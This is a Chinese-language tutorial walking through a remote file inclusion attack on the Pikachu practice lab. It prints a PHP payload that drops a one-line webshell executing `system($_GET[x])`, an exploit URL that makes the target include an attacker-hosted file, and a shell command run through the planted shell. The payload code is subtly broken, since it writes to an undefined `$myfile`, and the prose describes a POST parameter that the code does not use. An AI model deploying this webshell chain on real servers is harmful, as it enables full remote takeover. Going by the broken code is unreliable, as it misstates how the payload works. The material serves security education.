远程文件包含漏洞测试
远程文件包含漏洞测试
远程文件包含漏洞
远程文件包含漏洞形式跟本地文件包含漏洞差不多,都是我们的开发人员在后台使用包含函数的时候,没有对它包含的目的地,进行相关的安全措施,导致前端传进来的目标地址,被直接包含进去
在本地文件包含漏洞中,它传进来的,只能是本地的文件,它只能在本地去读取相关路径下的一些文件
在远程包含漏洞中,攻击者可以通过访问外部地址来加载远程的代码
但是在PHP配置里面,我们可以通过一些特殊的配置,允许这个包含函数,去通过一些协议,比如http、ftp这样的协议,去远程访问,远程站点上的代码文件,然后包含到本地来执行,在默认情况下,include和require是不支持远程的去包含文件,但是在特定的情况下,我们可以通过配置,允许它去远程调用文件
远程包含漏洞前提:如果使用的incldue和require,则需要php.ini配置如下(php5.4.34):
allow_url_fopen = on //默认打开
Allow_url_include=on //这个是比较危险的选项,默认关闭
我们把这两个锁都打开了,这样就意味着,我们允许include和requier,通过远程包含的方式,去调用远端的代码文件,所以说,远程文件包含漏洞跟本地文件包含漏洞,其实它形成的原因是一样的,都是我们的包含函数对前端传进来的目标文件进行包含的时候,没有进行相关的处理,只不过远程包含文件漏洞,在后台,默认打开,允许url远程包含选项,这是它唯一的区别
远程文件包含漏洞:写入一句话木马
本地文件包含漏洞它的利用是有限的,因为你只能去读本地的配置文件,你还得猜到对应文件的路径,相对来说,危害会低一些,但是远程文件包含漏洞就不一样了,因为它可以允许远程包含函数去读取远程站点上的代码文件,那就意味着。攻击者,可以自己搭一个站点,然后再上面放一个代码,这个代码文件就是攻击者自己控制的,它想怎么写就怎么写,然后在把对应的路径通过前端传到后台,那后台的包含函数,就会对远程路径下的文件进行加载,这个危害是非常大的,比如说,我们可以直接在远端去写一句话木马,然后让本地去执行,这意味着,我们直接把一句话木马,就放到了我们的目标站点上,然后就是实现了目标站点上的远程控制
远程文件包含漏洞演示
我们选择远程文件包含场景,跟刚刚一样,选一个场景,点提交
它会打出一个对应的图片,实际上它提交的是一个目标文件的路径,这个时候,我们可以把它改成远端的路径,让它去读取我们远程的文件
我们打开远端的yijuhua.txt,
http://192.168.42.236/pikachu/test/yijuhua.txt
<?php
$file = fopen("yijuhua.php","w");
$txt = '<?php system($_GET[x]);?>';
fwrite($myfile,$txt);
fclose($myfile);
?>
我们直接写了个fopen,去在本地打开文件流,然后新建yijuhua.php,然后把它这个内容,实际上,也就是一句话木马,写到文件里面去,close掉,这样就意味着,一旦这个代码被执行,用户在本地去生成一句话木马.php,然后里面的内容就是system函数,它接受远端的post请求,传过来123参数的值,那这个system函数,是php下面,用来直接执行操作系统的函数,所有传过来的参数,都会当成参数来执行
我们把filename的路径改成远端的路径就可以了,
http://192.168.42.236/pikachu/vul/fileinclude/fi_remote.php?filename=http://192.168.42.236/pikachu/test/yijuhua.txt&submit=Submit+Query
点提交,这边并没有任何的反馈,我们看一下后端服务器上,
C:\phpStudy\WWW\pikachu\vul\fileinclude
我们看一下里面的内容
这个就是我们刚刚写进去的system函数,然后,我们就可以远程的调用它,这边还有一个点,我们得知道写进去的php文件在那个目录下面,这个其实也很重要,因为我们要去访问它,一般来说,它会跟当前的页面在同一级目录下面,也就是说,在fileinclude页面下,我们把后面的删掉,然后在这里访问我们的yijuhua.php,然后这边传个x的参数,写个对应参数的命令,ipconfig,
http://192.168.42.236/pikachu/vul/fileinclude/yijuhua.php?x=ipconfig
我们传进去的ipconfig,交给system执行了,然后把对应的结果返回回来了,那这样就意味着,你可以通过x接口,控制这台服务器,OK,这就是远程文件包含漏洞
我们来看一下,后端的代码,fi_remote.php
其实它的代码逻辑跟我们讲的本地文件包含漏洞逻辑是一样的,同样也是前端传进来的文件,并没有做任何的过滤,也没有做白名单限制,然后就直接把它include去包含了,只不过在这个场景下面,php.ini,是我们手动改过的,我们把默认允许远程访问的选项给打开了,这样子就相当于允许,include去远程调用文件,这样就形成了问题
版权归原作者 山兔1 所有, 如有侵权,请联系我们删除。